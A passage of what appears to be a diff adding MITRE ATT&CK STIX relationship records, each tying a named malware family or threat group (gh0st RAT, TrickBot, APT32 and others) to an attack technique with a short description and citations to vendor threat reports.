"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of enumerating Registry keys and values.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f023577a-e87f-4d0e-beef-575293a86153", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) saves itself as a file named msdtc.exe, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4ffe2425-c971-45e5-9256-0b1a2bf63bbf", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + }, + { + "source_name": "Microsoft DTC", + "description": "Microsoft. (2011, January 12). Distributed Transaction Coordinator. Retrieved February 25, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc759136(v=ws.10).aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) contains a network loader to receive executable modules from remote attackers and run them on the local victim. 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Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) uses RC4 and XOR to encrypt C2 traffic.", + "type": "relationship", + "created": "2019-01-29T14:51:06.828Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8df1a464-9623-46bf-b23b-0430aa0a8c44", + "external_references": [ + { + "source_name": "Nccgroup Gh0st April 2018", + "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", + "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/" + } + ], + "modified": "2019-04-16T20:26:40.935Z", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) adds persistence by creating Registry Run keys.", + "type": "relationship", + "created": "2019-01-29T17:59:44.535Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--db6220f4-9e1c-487c-9b8d-e016565817e3", + "external_references": [ + { + "source_name": "Talos Zeus Panda Nov 2017", + "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More" + }, + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "modified": "2019-04-16T20:55:20.190Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) collects account information from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T18:44:05.065Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0d93e75b-e13d-4bd5-97d2-b4f8d05e9efd", + "external_references": [ + { + "source_name": "DigiTrust Agent Tesla Jan 2017", + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/" + } + ], + "modified": "2019-04-16T14:30:35.365Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) has used HTTP for C2 communications.", + "type": "relationship", + "created": "2019-01-29T19:09:26.676Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--62fbc8c0-0b5c-4650-9f63-696925d5626c", + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "modified": "2019-04-19T15:10:04.408Z", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbon](https://attack.mitre.org/software/S0335) uses the netstat -r and netstat -an commands.", + "type": "relationship", + "created": "2019-01-29T19:36:02.711Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--344f58f9-fefa-4c50-888c-25b2ef9e7dd2", + "external_references": [ + { + "source_name": "GovCERT Carbon May 2016", + "description": "GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.", + "url": "https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf" + } + ], + "modified": "2019-04-12T14:43:22.647Z", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Epic](https://attack.mitre.org/software/S0091) uses the tasklist /v command to obtain a list of processes.", + "type": "relationship", + "created": "2019-01-29T19:55:48.137Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--01f98d14-77b9-439f-8b44-920fcaca2b2b", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "modified": "2019-07-26T16:10:42.964Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T14:56:46.824Z", + "type": "relationship", + "created": "2019-01-29T20:08:24.859Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6dfdfcc8-ff89-4991-830a-5ca31f43b251", + "external_references": [ + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "relationship_type": "uses", + "target_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT38](https://attack.mitre.org/groups/G0082) has used a command-line tunneler, NACHOCHEESE, to give them shell access to a victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T21:27:25.289Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3ab4c52a-aa3d-4c65-bd68-6614a0fb7bfe", + "external_references": [ + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "modified": "2019-04-29T17:49:17.847Z", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to perform keylogging on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T21:40:37.736Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8907c952-38f8-49de-900d-4f2fa0c485c1", + "external_references": [ + { + "source_name": "Zscaler Cobian Aug 2017", + "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018.", + "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat" + } + ], + "modified": "2019-04-23T21:09:54.683Z", + "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Octopus](https://attack.mitre.org/software/S0340) encodes C2 communications in Base64.", + "type": "relationship", + "created": "2019-01-30T13:24:08.980Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4919cec0-77ce-4505-91e5-5a538fe1b198", + "external_references": [ + { + "source_name": "Securelist Octopus Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + } + ], + "modified": "2019-01-30T13:24:08.980Z", + "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Denis](https://attack.mitre.org/software/S0354) has used DNS tunneling for C2 communications.", + "type": "relationship", + "created": "2019-01-30T20:01:45.452Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--01eb6d18-bb7b-4e4a-b133-60407f40773b", + "external_references": [ + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Securelist Denis April 2017", + "description": "Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018.", + "url": "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/" + } + ], + "modified": "2019-04-24T20:56:04.703Z", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A version of [KONNI](https://attack.mitre.org/software/S0356) drops a Windows shortcut on the victim\u2019s machine to establish persistence.", + "type": "relationship", + "created": "2019-01-31T00:36:41.008Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e57361ca-1d03-4171-86e2-09f8c32cb319", + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "modified": "2019-07-26T18:47:19.103Z", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) used Mimikatz, GetPassword_x64, and customized versions of Windows Credential Dumper, HookChangePassword, and Outlook Credential Dumper to harvest credentials.", + "type": "relationship", + "created": "2019-01-31T01:07:58.714Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--63835d80-f52b-472c-a605-b0360eea3539", + "external_references": [ + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-07-17T13:11:38.336Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T15:24:32.584Z", + "type": "relationship", + "created": "2019-01-31T02:13:33.990Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d61f5cc3-e075-4a5b-ac7c-e77feac1d310", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information from the victim about its IP addresses and MAC addresses.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3caec960-fa9c-4b2f-80e4-6dd4471e26ba", + "external_references": [ + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "modified": "2019-07-26T20:45:14.544Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) can delete files indicated by the attacker and remove itself from disk using a batch file.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3cf1b188-99ad-48a5-bce8-962eef956ec8", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-22T22:40:41.288Z", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can install encrypted configuration data under the Registry key HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellCompatibility\\Applications\\laxhost.dll and HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PrintConfigs.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ceb66bd9-3e75-4559-a0b9-3339a926cde6", + "external_references": [ + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s Find-AVSignature AntivirusBypass module can be used to locate single byte anti-virus signatures.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--26eca19b-1c55-49b5-8a07-a4131c577874", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "modified": "2019-04-24T23:43:08.194Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) has a plugin to drop and execute vulnerable Outpost Sandbox or avast! Virtualization drivers in order to gain kernel mode privileges.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--131fde9c-7a83-4603-9c1e-c41f815fb14c", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[S-Type](https://attack.mitre.org/software/S0085) runs the command net user on a victim. [S-Type](https://attack.mitre.org/software/S0085) also runs tests to determine the privilege level of the compromised user.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fb0aef48-57f5-4331-acdd-25fdfdf1babb", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) encrypts communications using AES256 and RSA-2048.", + "type": "relationship", + "created": "2019-01-30T13:53:14.840Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b644de55-05f0-4e2e-93ee-db7915097ed1", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-04-17T22:22:21.999Z", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) collects email addresses from Outlook.", + "type": "relationship", + "created": "2019-01-30T14:11:44.227Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9b5e38b3-31b5-4734-bef2-c05904479430", + "external_references": [ + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/" + } + ], + "modified": "2019-06-24T19:15:06.698Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can call WTSQueryUserToken and CreateProcessAsUser to start a new process with local system privileges.", + "type": "relationship", + "created": "2019-01-30T15:19:14.928Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--00d3d6a8-c711-4bb5-bf0a-e17c0ecac8c8", + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ], + "modified": "2019-07-26T23:22:28.481Z", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "relationship_type": "uses", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT1](https://attack.mitre.org/groups/G0006) used a batch script to perform a series of discovery techniques and saves it to a text file.", + "type": "relationship", + "created": "2019-01-30T15:33:07.517Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4c2924c1-dec5-4390-87d7-c52e24a92512", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "modified": "2019-03-22T12:40:51.830Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) has used Port Number 443 for C2 communications.", + "type": "relationship", + "created": "2019-01-30T15:47:41.383Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--894666a8-f37a-4c72-a61e-c130bc6ac197", + "external_references": [ + { + "source_name": "TrendMicro Lazarus Nov 2018", + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "modified": "2019-01-30T15:47:41.383Z", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) checks its current working directory upon execution and also contains watchdog functionality that ensures its executable is located in the correct path (else it will rewrite the payload).", + "type": "relationship", + "created": "2019-01-30T16:39:54.488Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3572a770-9151-42d5-82b5-360002725052", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "modified": "2019-06-10T18:25:51.757Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can upload additional files to the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T17:33:40.964Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--82d8c106-c216-4d3f-9028-5f0b975e6330", + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). 